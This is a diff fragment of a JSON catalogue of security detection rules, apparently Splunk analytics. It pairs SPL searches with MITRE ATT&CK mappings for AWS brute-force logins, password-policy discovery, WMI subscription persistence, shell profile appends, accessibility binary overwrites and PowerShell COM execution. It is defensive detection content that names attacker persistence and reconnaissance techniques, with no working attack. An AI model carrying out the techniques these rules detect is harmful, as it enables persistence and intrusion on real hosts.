`windows_conhost_with_headless_argument_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Windows ConHost with Headless Argument detected on $dest$ by $user$.", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1564.003", - "mitre_attack_technique": "Hidden Window", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "CopyKittens", - "DarkHydrus", - "Deep Panda", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Kimsuky", - "Magic Hound", - "Nomadic Octopus", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1564.006", - "mitre_attack_technique": "Run Virtual Instance", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -575521,573 +381280,7 @@ "Event ID": "4688", "Event Name": "Process Execution" } - ], - { - "name": "AWS High Number Of Failed Authentications For User", - "description": "The following analytic detects an AWS account experiencing more than 20 failed authentication attempts within a 5-minute window. It leverages AWS CloudTrail logs to identify multiple failed ConsoleLogin events. This behavior is significant as it may indicate a brute force attack targeting the account. If confirmed malicious, the attacker could potentially gain unauthorized access, leading to data breaches or further exploitation of the AWS environment. Security teams should consider adjusting the threshold based on their specific environment to reduce false positives.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=10m _time | stats dc(_raw) AS failed_attempts values(src_ip) as src_ip values(user_agent) by _time, user_name, eventName, eventSource aws_account_id | where failed_attempts > 20 | `aws_high_number_of_failed_authentications_for_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_name$ failed to authenticate more than 20 times in the span of 5 minutes for AWS Account $aws_account_id$", - "risk_score": 35, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1201", - "mitre_attack_technique": "Password Policy Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "AWS Password Policy Changes", - "description": "The following analytic detects successful API calls to view, update, or delete the password policy in an AWS organization. It leverages AWS CloudTrail logs to identify events such as \"UpdateAccountPasswordPolicy,\" \"GetAccountPasswordPolicy,\" and \"DeleteAccountPasswordPolicy.\" This activity is significant because it is uncommon for regular users to perform these actions, and such changes can indicate an adversary attempting to understand or weaken password defenses. If confirmed malicious, this could lead to compromised accounts and increased attack surface, potentially allowing unauthorized access and control over AWS resources.", - "search": "`cloudtrail` eventName IN (\"UpdateAccountPasswordPolicy\",\"GetAccountPasswordPolicy\",\"DeleteAccountPasswordPolicy\") errorCode=success | stats count values(eventName) as eventName values(userAgent) min(_time) as firstTime max(_time) as lastTime by eventSource aws_account_id errorCode awsRegion userIdentity.principalId user_arn src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_password_policy_changes_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_arn$ is attempting to $eventName$ the password policy for account id $aws_account_id$", - "risk_score": 72, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1201", - "mitre_attack_technique": "Password Policy Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "ASL AWS Password Policy Changes", - "description": "This search looks for AWS CloudTrail events from Amazon Security Lake where a user is making successful API calls to view/update/delete the existing password policy in an AWS organization. It is unlikely for a regular user to conduct this operation. These events may potentially be malicious, adversaries often use this information to gain more understanding of the password defenses in place and exploit them to increase their attack surface when a user account is compromised.", - "search": "`amazon_security_lake` \"api.service.name\"=\"iam.amazonaws.com\" \"api.operation\" IN (\"UpdateAccountPasswordPolicy\",\"GetAccountPasswordPolicy\",\"DeleteAccountPasswordPolicy\") \"api.response.error\"=null | stats count min(_time) as firstTime max(_time) as lastTime by identity.user.account_uid identity.user.credential_uid identity.user.name identity.user.type identity.user.uid identity.user.uuid http_request.user_agent src_endpoint.ip cloud.region | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_password_policy_changes_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_endpoint.ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "identity.user.name", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $identity.user.name$ is attempting to $api.operation$ the password policy for accounts", - "risk_score": 72, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1201", - "mitre_attack_technique": "Password Policy Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Get ADDefaultDomainPasswordPolicy with Powershell", - "description": "The following analytic detects the execution of `powershell.exe` running the `Get-ADDefaultDomainPasswordPolicy` cmdlet, which is used to retrieve the password policy in a Windows domain. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. Monitoring this activity is crucial as it can indicate attempts by adversaries to gather information about domain policies for situational awareness and Active Directory discovery. If confirmed malicious, this activity could lead to further reconnaissance and potential exploitation of domain security settings.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"cmd.exe\" OR Processes.process_name=\"powershell*\") AND Processes.process = \"*Get-ADDefaultDomainPasswordPolicy*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_addefaultdomainpasswordpolicy_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1201", - "mitre_attack_technique": "Password Policy Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Get ADDefaultDomainPasswordPolicy with Powershell Script Block", - "description": "The following analytic detects the execution of the `Get-ADDefaultDomainPasswordPolicy` PowerShell cmdlet, which is used to retrieve the password policy in a Windows domain. This detection leverages PowerShell Script Block Logging (EventCode=4104) to identify the specific command execution. Monitoring this activity is significant as it can indicate an attempt to gather domain policy information, which is often a precursor to further malicious actions. If confirmed malicious, this activity could allow an attacker to understand password policies, aiding in password attacks or further domain enumeration.", - "search": "`powershell` EventCode=4104 ScriptBlockText =\"*Get-ADDefaultDomainPasswordPolicy*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_addefaultdomainpasswordpolicy_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell process having commandline \"Get-ADDefaultDomainPasswordPolicy\" to query domain password policy on $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1201", - "mitre_attack_technique": "Password Policy Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Get ADUserResultantPasswordPolicy with Powershell", - "description": "The following analytic detects the execution of `powershell.exe` running the `Get-ADUserResultantPasswordPolicy` cmdlet, which is used to obtain the password policy in a Windows domain. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential enumeration of domain policies, a common tactic for situational awareness and Active Directory discovery by adversaries. If confirmed malicious, this could allow attackers to understand password policies, aiding in further attacks such as password spraying or brute force attempts.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"cmd.exe\" OR Processes.process_name=\"powershell*\") AND Processes.process = \"*Get-ADUserResultantPasswordPolicy*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_aduserresultantpasswordpolicy_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1201", - "mitre_attack_technique": "Password Policy Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Get ADUserResultantPasswordPolicy with Powershell Script Block", - "description": "The following analytic detects the execution of the `Get-ADUserResultantPasswordPolicy` PowerShell cmdlet, which is used to obtain the password policy in a Windows domain. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this activity. Monitoring this behavior is significant as it may indicate an attempt to enumerate domain policies, a common tactic used by adversaries for situational awareness and Active Directory discovery. If confirmed malicious, this activity could allow attackers to understand password policies, aiding in further attacks such as password guessing or policy exploitation.", - "search": "`powershell` EventCode=4104 ScriptBlockText=\"*Get-ADUserResultantPasswordPolicy*\" | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_aduserresultantpasswordpolicy_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "powershell process having commandline to query domain user password policy detected on host - $dest$.", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1201", - "mitre_attack_technique": "Password Policy Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Get DomainPolicy with Powershell", - "description": "The following analytic detects the execution of `powershell.exe` running the `Get-DomainPolicy` cmdlet, which is used to retrieve password policies in a Windows domain. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to gather domain policy information, which is crucial for planning further attacks. If confirmed malicious, this could lead to unauthorized access to sensitive domain configurations, aiding in privilege escalation and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"cmd.exe\" OR Processes.process_name=\"powershell*\") AND Processes.process = \"*Get-DomainPolicy*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_domainpolicy_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1201", - "mitre_attack_technique": "Password Policy Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Get DomainPolicy with Powershell Script Block", - "description": "The following analytic detects the execution of the `Get-DomainPolicy` cmdlet using PowerShell Script Block Logging (EventCode=4104). It leverages logs capturing script block text to identify attempts to obtain the password policy in a Windows domain. This activity is significant as it indicates potential reconnaissance efforts by adversaries or Red Teams to gather domain policy information, which is crucial for planning further attacks. If confirmed malicious, this behavior could lead to detailed knowledge of domain security settings, aiding in privilege escalation or lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText =\"*Get-DomainPolicy*\" | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_domainpolicy_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "UserID", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "powershell process having commandline $ScriptBlockText$ to query domain policy.", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1201", - "mitre_attack_technique": "Password Policy Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Password Policy Discovery with Net", - "description": "The following analytic identifies the execution of `net.exe` or `net1.exe` with command line arguments aimed at obtaining the domain password policy. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to gather information about Active Directory password policies. If confirmed malicious, this behavior could allow attackers to understand password complexity requirements, aiding in brute-force or password-guessing attacks, ultimately compromising user accounts and gaining unauthorized access to the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"net.exe\" OR Processes.process_name=\"net1.exe\") AND Processes.process = \"*accounts*\" AND Processes.process = \"*/domain*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `password_policy_discovery_with_net_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "an instance of process $process_name$ with commandline $process$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1201", - "mitre_attack_technique": "Password Policy Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "OilRig", - "Turla" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -576968,1036 +382161,6 @@ "https://docs.microsoft.com/en-us/windows/win32/debug/pe-format", "https://elinux.org/Executable_and_Linkable_Format_(ELF)" ] - }, - { - "name": "Change Default File Association", - "description": "The following analytic detects suspicious registry modifications that change the default file association to execute a malicious payload. It leverages data from the Endpoint data model, specifically monitoring registry paths under \"*\\\\shell\\\\open\\\\command\\\\*\" and \"*HKCR\\\\*\". This activity is significant because altering default file associations can allow attackers to execute arbitrary scripts or payloads when a user opens a file, leading to potential code execution. If confirmed malicious, this technique can enable attackers to persist on the compromised host and execute further malicious commands, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path =\"*\\\\shell\\\\open\\\\command\\\\*\" Registry.registry_path = \"*HKCR\\\\*\" by Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `change_default_file_association_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Prestige Ransomware", - "Windows Persistence Techniques", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Registry path $registry_path$ was modified, added, or deleted in $dest$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.001", - "mitre_attack_technique": "Change Default File Association", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Detect WMI Event Subscription Persistence", - "description": "The following analytic identifies the creation of WMI Event Subscriptions, which can be used to establish persistence or perform privilege escalation. It detects EventID 19 (EventFilter creation), EventID 20 (EventConsumer creation), and EventID 21 (FilterToConsumerBinding creation) from Sysmon logs. This activity is significant because WMI Event Subscriptions can execute code with elevated SYSTEM privileges, making it a powerful persistence mechanism. If confirmed malicious, an attacker could maintain long-term access, escalate privileges, and execute arbitrary code, posing a severe threat to the environment.", - "search": "`sysmon` EventID=20 | stats count min(_time) as firstTime max(_time) as lastTime by Computer User Destination | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_wmi_event_subscription_persistence_filter`", - "tags": { - "analytic_story": [ - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible malicious WMI Subscription created on $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.003", - "mitre_attack_technique": "Windows Management Instrumentation Event Subscription", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT33", - "Blue Mockingbird", - "FIN8", - "HEXANE", - "Leviathan", - "Metador", - "Mustang Panda", - "Rancor", - "Turla" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux File Creation In Profile Directory", - "description": "The following analytic detects the creation of files in the /etc/profile.d directory on Linux systems. It leverages filesystem data to identify new files in this directory, which is often used by adversaries for persistence by executing scripts upon system boot. This activity is significant as it may indicate an attempt to maintain long-term access to the compromised host. If confirmed malicious, this could allow attackers to execute arbitrary code with elevated privileges each time the system boots, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/etc/profile.d/*\") by Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_file_creation_in_profile_directory_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.004", - "mitre_attack_technique": "Unix Shell Configuration Modification", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Possible Append Command To Profile Config File", - "description": "The following analytic detects suspicious command-lines that modify user profile files to automatically execute scripts or executables upon system reboot. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving profile files like ~/.bashrc and /etc/profile. This activity is significant as it indicates potential persistence mechanisms used by adversaries to maintain access to compromised hosts. If confirmed malicious, this could allow attackers to execute arbitrary code upon reboot, leading to persistent control over the system and potential further exploitation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*echo*\" AND Processes.process IN(\"*~/.bashrc\", \"*~/.bash_profile\", \"*/etc/profile\", \"~/.bash_login\", \"*~/.profile\", \"~/.bash_logout\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_append_command_to_profile_config_file_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ that may modify profile files in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.004", - "mitre_attack_technique": "Unix Shell Configuration Modification", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Overwriting Accessibility Binaries", - "description": "The following analytic detects modifications to Windows accessibility binaries such as sethc.exe, utilman.exe, osk.exe, Magnify.exe, Narrator.exe, DisplaySwitch.exe, and AtBroker.exe. It leverages filesystem activity data from the Endpoint.Filesystem data model to identify changes to these specific files. This activity is significant because adversaries can exploit these binaries to gain unauthorized access or execute commands without logging in. If confirmed malicious, this could allow attackers to bypass authentication mechanisms, potentially leading to unauthorized system access and further compromise of the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.user) as user values(Filesystem.dest) as dest values(Filesystem.file_path) as file_path from datamodel=Endpoint.Filesystem where (Filesystem.file_path=*\\\\Windows\\\\System32\\\\sethc.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\utilman.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\osk.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\Magnify.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\Narrator.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\DisplaySwitch.exe* OR Filesystem.file_path=*\\\\Windows\\\\System32\\\\AtBroker.exe*) by Filesystem.file_name Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `overwriting_accessibility_binaries_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Flax Typhoon", - "Hermetic Wiper", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious file modification or replace in $file_path$ in host $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1546.008", - "mitre_attack_technique": "Accessibility Features", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT3", - "APT41", - "Axiom", - "Deep Panda", - "Fox Kitten" - ] - } - ] - } - }, - { - "name": "Powershell Execute COM Object", - "description": "The following analytic detects the execution of a COM CLSID through PowerShell. It leverages EventCode 4104 and searches for specific script block text indicating the creation of a COM object. This activity is significant as it is commonly used by adversaries and malware, such as the Conti ransomware, to execute commands, potentially for privilege escalation or bypassing User Account Control (UAC). If confirmed malicious, this technique could allow attackers to gain elevated privileges or persist within the environment, posing a significant security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*CreateInstance([type]::GetTypeFromCLSID*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_execute_com_object_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains COM CLSID command on host $dest$", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.015", - "mitre_attack_technique": "Component Object Model Hijacking", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - 